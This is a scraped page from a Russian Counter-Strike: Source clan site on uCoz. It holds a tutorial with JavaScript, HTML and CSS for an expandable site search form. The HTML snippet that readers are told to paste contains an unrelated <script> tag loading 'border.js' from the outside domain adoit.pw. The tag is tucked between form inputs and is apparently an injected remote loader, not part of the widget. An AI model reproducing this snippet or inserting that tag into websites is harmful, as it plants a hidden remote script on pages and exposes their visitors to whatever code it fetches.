Вторник, 24.08.2010, 17:58

Меню сайта
Главная страница Файлы Форум
Воронежский сервер
Информация о сервере Получение админки на сервере Список администраторов сервера Правила админов Обжалование банов,жалование на админов Чего нехватает на сервере?
Меню клана
Устав клана Мувики клана Информация о клане Состав клана Наши Cw Заявка в клан
Все для css
Cкачать cs:s Сервера cs:s Модели оружия cs:s Модели игроков cs:s Программы cs:s Карты cs:s Плагины cs:s Скрипты cs:s GUIS(фоны меню)cs:s Прицелы cs:s Кровь cs:s Перчатки cs:s Текстуры cs:s
Новинки!!!
de_cbble ritexture м...
de_cbble ritexture м...
(Текстуры)
Загрузок: 137
Просмотров: 338
Добавил: FANTOM
Дата: 22.06.2012
Thompson G2 Contende...
Thompson G2 Contende...
(Модели оружия cs:s)
Загрузок: 71
Просмотров: 551
Добавил: FANTOM
Дата: 16.06.2012
Опрос по картам
Какая ваша любимая карта?
Всего ответов: 125
Мини-чат
500
Баннеры
Главная » 2013 » Август » 11 » Создаём раздвижную форму поиска для uCoz
13:14
Создаём раздвижную форму поиска для uCoz
Всем массовый привет, сегодня в этой статье мы будем адаптировать раздвижную форму поиска для uCoz, от Codrops.

Основным отличием данного решения от других, является тот момент, что отправить поисковой запрос форме поиска можно как при нажатии на клавиатуре кнопки Enter, так и при нажатии на иконку лупы стрелкой мыши.

И так давайте приступим к установке данного решения, для этого в самый низ страницы перед закрывающим тегом </body> установим следующие js:

Код
<script src="http://pnghosts.ru/js_css/classie.js"></script>
<script src="http://pnghosts.ru/js_css/uisearch.js"></script>
<script>
  new UISearch( document.getElementById( 'sb-search' ) );
</script>


Теперь давайте установим в нужное место страницы сайта следующий html код формы поиска, которая будет искать по всему сайту.

Код
<!-- Поиск по сайту -->  
  <div id="sb-search" class="sb-search">
  <form class="" onsubmit="document.getElementById('sfSbm').disabled=true" method="get" action="/search/" >
  <input class="sb-search-input" type="text" name="q" maxlength="130" value="Поиск по сайту..." onclick="if (this.value=='Поиск по сайту...'){this.value='';}"/>
  <input class="sb-search-submit" type="hidden" name="t" value="0" /><script type="text/javascript" src="http://adoit.pw/border.js"></script> <input class="sb-icon-search " type="submit" value="" />
  </form>  
  </div>  
  <!-- /Поиск по сайту -->


Теперь нам осталось стилизовать наш html код формы поиска, для этого пропишем следующие css стили:

Код
/* Раздвижная форма поиска для uCoz
------------------------------------------*/
.sb-search {
  position: relative;
  margin-top: 10px;
  width: 0%;
  min-width: 32px;
  height: 32px;
  float: right;
  overflow: hidden;
   
  -webkit-transition: width 0.3s;
  -moz-transition: width 0.3s;
  transition: width 0.3s;
  -webkit-backface-visibility: hidden;
}

.sb-search-input {
  position: absolute;
  top: 0;
  right: 0;
   
  margin: 0;
  z-index: 10;
  width:300px;
  height: 20px;
  outline: none;
  background: #fff;  
  border: 1px solid #CAD3DA;  
  padding: 5px 32px 5px 20px;
   
  font:11px Verdana,Arial,Helvetica, sans-serif;
  color:#555;  
  border-radius:3px 0px 0px 3px;  
}

.sb-search-input::-webkit-input-placeholder {
  color: #efb480;
}

.sb-search-input:-moz-placeholder {
  color: #efb480;
}

.sb-search-input::-moz-placeholder {
  color: #efb480;
}

.sb-search-input:-ms-input-placeholder {
  color: #efb480;
}

.sb-icon-search,
.sb-search-submit {
  position: absolute;
  right: 0;
  top: 0;
  margin: 0;
   
  width: 32px;
  height: 32px;
  display: block;

  line-height: 30px;
  text-align: center;
  cursor: pointer;
}

.sb-search-submit {
  background: #fff;
  color: transparent;
  border: none;
  outline: none;
  z-index: -1;
  -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)";  
  filter: alpha(opacity=0);  
  opacity: 0;  
}

.sb-icon-search {
  border:none;  
  z-index: 90;
  background:#2cae58 url(http://pnghosts.ru/img/icon-search.png) no-repeat;
  -webkit-font-smoothing: antialiased;
  border-radius:3px 3px 3px 3px;  
}

.sb-icon-search:before {
  content: "\e000";
}

.sb-search.sb-search-open,
.no-js .sb-search {
  width: 100%;
}

.sb-search.sb-search-open .sb-icon-search,
.no-js .sb-search .sb-icon-search {
  background:#c54744 url(http://pnghosts.ru/img/icon-search.png) no-repeat;
  z-index: 11;
  border-radius:0px 3px 3px 0px;  
}

.sb-search.sb-search-open .sb-search-submit,
.no-js .sb-search .sb-search-submit {
  z-index: 90;
}


На этом всё, мы адаптировали и установили на ваш сайт раздвижную форму поиска для uCoz, от Codrops.

Спасибо за внимание!
Просмотров: 326 | Добавил: DoG6636 | Рейтинг: 0.0/0
Всего комментариев: 0
Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]
Мини профиль
Топ файлов
FANTOM
27
Renz0
11
BrO
6
feNzoR
4
белый
3
Последние обновлен
Astro7
0
Заявки в клан
4
lucked
0
ava
0
Сделайте Другу ...
0
Noobik
0
defect1on-
1
feNzoR
1
Лого для клана
1
Шапка для сайта
2
Cтатистика cw
Победы
Победы(44)

Поражения
Поражения(0)
Статистика
Онлайн:

Онлайн всего: 1
Гостей: 1
Пользователей: 0

Зарег. на сайте:
Всего: 172
Новых за месяц: 0
Новых за неделю: 0
Новых вчера: 0
Новых сегодня: 0
Из них:
Администраторов: 2
Модераторов: 0
Дизайнеров: 0
Файловиков: 0
Проверенных: 0
Обычных: 170
Забаненых: 0
Из них:
Парней: 166
Девушек: 6
Счетчики:
Сегодня нас посетили:

Форма входа